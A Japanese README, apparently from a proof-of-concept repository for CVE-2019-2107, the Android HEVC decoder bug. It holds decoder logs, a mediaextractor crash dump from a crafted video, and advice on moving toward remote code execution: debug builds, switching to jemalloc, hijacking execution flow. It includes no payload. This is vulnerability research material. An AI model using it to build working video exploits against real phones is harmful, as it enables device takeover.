
CVE-2019-2107の概念実証エクスプロイト。Androidメディアフレームワーク上で細工されたHEVC動画を介したリモートコード実行を実証します。クラッシュ解析とペイロード開発ガイダンスを含みます。
CVE-2019-2107
CVE-2019-2107 - 見た目は恐ろしい。Stagefright や PNG のバグの脆弱性を覚えていますか?CVE-2019-2107 では、デコーダ/コーデックが mediacodec ユーザーで動作し、適切に「細工された」動画(タイル有効 - ps_pps->i1_tiles_enabled_flag)を使用することで、RCE が可能になる可能性があります。影響を受けるコーデックは HVEC(別名 H.265 および MPEG-H Part 2)です。#exploit #rce #android #stagefright #cve

LineageOS (Android):
02-11 20:18:48.238 260 260 D FFmpegExtractor: ffmpeg detected media content as 'video/hevc' with confidence 0.08
02-11 20:18:48.239 260 260 I FFMPEG : [hevc @ 0xb348f000] Invalid tile widths.
02-11 20:18:48.239 260 260 I FFMPEG : [hevc @ 0xb348f000] PPS id out of range: 0
02-11 20:18:48.240 260 260 I FFMPEG : [hevc @ 0xb348f000] Invalid tile widths.
02-11 20:18:48.240 260 260 I FFMPEG : [hevc @ 0xb348f000] PPS id out of range: 0
02-11 20:18:48.240 260 260 I FFMPEG : [hevc @ 0xb348f000] Error parsing NAL unit #5.
02-11 20:18:48.240 260 260 I FFMPEG : [hevc @ 0xb348f000] Invalid tile widths.
mplayer (laptop)
id: 0
[hevc @ 0x7f0bf58a7560]Decoding VPS
[hevc @ 0x7f0bf58a7560]Main profile bitstream
[hevc @ 0x7f0bf58a7560]Decoding SPS
[hevc @ 0x7f0bf58a7560]Main profile bitstream
[hevc @ 0x7f0bf58a7560]Decoding VUI
[hevc @ 0x7f0bf58a7560]Decoding PPS
[hevc @ 0x7f0bf58a7560]Invalid tile widths.
[hevc @ 0x7f0bf58a7560]Decoding SEI
[hevc @ 0x7f0bf58a7560]Skipped PREFIX SEI 5
[hevc @ 0x7f0bf58a7560]PPS id out of range: 0
[hevc @ 0x7f0bf58a7560]Error parsing NAL unit #5.
Error while decoding frame!
つまり、チェックは存在する。
ストック/Google Android では、VideoPlayer を使う時、ffmpeg ではなく libhevc が使われると思います。
https://www.droidviews.com/enjoy-hevc-h-265-video-playback-on-android/
私は Google コーデックを持っています: OMX.google.hevc.decoder
しかし、なぜクラッシュしないのか不思議です....
この条件をトリガーするはずの動画 (videopoc.mp4) を添付します:
if (value >= ps_sps->i2_pic_wd_in_ctb - start)
+ {
+ return IHEVCD_INVALID_HEADER;
+ }
もしかすると誰かにもっと運があるかもしれません。
うわーい.... できた :)
概念実証は hevc-crash-poc.mp4 にあります。他の動画は非 Android プレイヤー用です。
Hvec-"fright" は可能です。ペイロードを含む動画を視聴することでモバイルを乗っ取ることができます。私の例では実際のペイロードは含めていません。
07-13 21:50:59.000 3351 3351 I /system/bin/tombstoned: received crash request for pid 24089
07-13 21:50:59.006 24089 24089 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
07-13 21:50:59.006 24089 24089 F DEBUG : Build fingerprint: 'samsung/hero2ltexx/hero2lte:8.0.0/R16NW/G935FXXS4ESC3:user/release-keys'
07-13 21:50:59.006 24089 24089 F DEBUG : Revision: '9'
07-13 21:50:59.006 24089 24089 F DEBUG : ABI: 'arm64'
07-13 21:50:59.006 24089 24089 F DEBUG : pid: 24089, tid: 24089, name: media.extractor >>> mediaextractor <<<
07-13 21:50:59.006 24089 24089 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7ccb800050
07-13 21:50:59.009 24089 24089 F DEBUG : x0 00000000ffffff36 x1 0000000000000000 x2 00000000000000f0 x3 0000000000000001
07-13 21:50:59.009 24089 24089 F DEBUG : x4 0000000000000001 x5 0000007ccb5df1b8 x6 0000007cc927363e x7 0000007cc8e7bd04
07-13 21:50:59.009 24089 24089 F DEBUG : x8 0000000000004170 x9 0000000000004160 x10 00000000ffffffff x11 0000007ccb7fbef0
07-13 21:50:59.010 24089 24089 F DEBUG : x12 0000007ccb5d3ce0 x13 000000000000001e x14 0000000000000003 x15 0000000000000001
07-13 21:50:59.010 24089 24089 F DEBUG : x16 0000007cc99f5f50 x17 0000007ccb88885c x18 0000007ccb566225 x19 0000007ccb562020
07-13 21:50:59.010 24089 24089 F DEBUG : x20 0000007ccb4f18a0 x21 0000007ccb468c6c x22 0000000000000000 x23 0000000000000006
07-13 21:50:59.010 24089 24089 F DEBUG : x24 000000000000001e x25 0000000000000094 x26 0000000000004160 x27 0000000000000001
07-13 21:50:59.010 24089 24089 F DEBUG : x28 0000007ccb55e750 x29 0000007fd6d39d90 x30 0000007cc99c4438
07-13 21:50:59.010 24089 24089 F DEBUG : sp 0000007fd6d39d20 pc 0000007cc99c44c4 pstate 0000000080000000
07-13 21:50:59.013 24089 24089 F DEBUG :
--

さらに進めて RCE(リモートコマンド実行)を得たい場合
まず、デバッグビルドの LineageOS ROM を入手することから始めるでしょう(ルート化された対象端末がない場合、逆アセンブルは頭痛の種ですが、作業はもっと簡単になるはずです)。可能であればメモリアロケータを jemalloc に変更します(新しいモバイルをターゲットにするため)。
device/samsung/msm8226-common/BoardConfigCommon.mk
# Memory
#MALLOC_IMPL := dlmalloc
MALLOC_IMPL := jemalloc
私の Samsung モバイルは jemalloc を使用していることがわかりました。古い/新しいモバイルについては確かではありません。同じであることを願います。
いくつかの jemalloc/dlmalloc に関する情報: https://blog.nsogroup.com/a-tale-of-two-mallocs-on-android-libc-allocators-part-1-dlmalloc/
ここでは libavcodec.so からチェックを削除しました。
Samsung S3 Neo+ 上の LineageOS 7.1.2 でテスト
ご覧の通り、メディアプレイヤーはクラッシュ/消滅しました... 未処理のイベントがあります (MediaPlayer: mediaplayer went away with unhandled events)。なぜネイティブでクラッシュしないのかわかりません。ここでの目標は実行フローを乗っ取ることです。幸運を祈ります!
02-25 16:44:15.008 2954 2954 I art : Explicit concurrent mark sweep GC freed 4988(521KB) AllocSpace objects, 1(40KB) LOS objects, 25% free, 6MB/8MB, paused 484us total 43.471ms
02-25 16:44:15.011 2954 2954 I art : Starting a blocking GC Explicit
02-25 16:44:15.046 2954 2954 I art : Explicit concurrent mark sweep GC freed 435(17KB) AllocSpace objects, 0(0B) LOS objects, 24% free, 6MB/8MB, paused 523us total 34.700ms
02-25 16:44:15.083 2954 2954 W MediaPlayer: mediaplayer went away with unhandled events